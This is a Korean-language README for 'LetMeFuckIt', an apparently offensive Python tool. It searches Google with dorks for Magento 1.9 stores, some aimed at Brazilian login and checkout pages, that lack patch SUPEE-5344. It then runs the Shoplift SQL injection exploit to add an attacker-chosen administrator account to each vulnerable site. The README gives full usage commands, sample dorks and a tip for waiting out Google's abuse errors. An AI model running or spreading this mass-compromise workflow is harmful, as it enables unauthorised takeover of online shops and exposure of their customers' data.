
Magento 1.9용 스캐너 및 익스플로잇
스캐너 및 Magento 익스플로잇
이 스캐너는 Magento의 **SQLi 취약점 (1.9.1.0 CE)**을 탐색합니다.
이 취약점은 Patch SUPEE-5344에서 수정되었으나, 스캐너는 보안 패치를 적용하지 않은 시스템을 찾아 테스트하는 데 사용됩니다.
LetMeFuckIt은 Python으로 작성되었으며 다음 라이브러리를 사용합니다:
pygoogle, argparse, urllib2, requests, base64
letmefuckit.py --dork <dork> --pages <number> --user <user> --pwd <pass>
letmefuckit.py --dork "inurl:customer/account/login/ site:com.br" --pages 4 --user adm --pwd pass
--dork --user --pwd --pages --help
"inurl:/customer/account/login site:com.br"
"inurl:/checkout/onepage/ site:com.br"
입력한 dork를 통해 Google을 검색하며, URL은 urls.txt 파일에 저장된 후 자동으로 테스트됩니다.
실행 시 제공된 사용자는 취약한 사이트에 자동으로 관리자로 추가됩니다.
아래와 같은 오류가 발생하는 경우, 스캐너가 pygoogle 라이브러리를 사용하기 때문입니다. 이 라이브러리는 Google의 새로운 API 시스템에 맞게 업데이트되지 않았으며, 이제 API 사용을 위해 키가 필요합니다.
pygoogle ERROR __search__| responseDetails : Suspected Terms of Service Abuse. Please see http://code.google.com/apis/errors
이 오류가 나타나면 1~2분 정도 기다리면 스캐너가 정상으로 돌아옵니다.
익스플로잇: Manish Kishan Tanwar AKA error1046 (2015/08/25)의 Magento Shoplift exploit (SUPEE-5344)
LetMeFuckIt Scanner AutoPwned: OntheFrontLine (2015/09/27)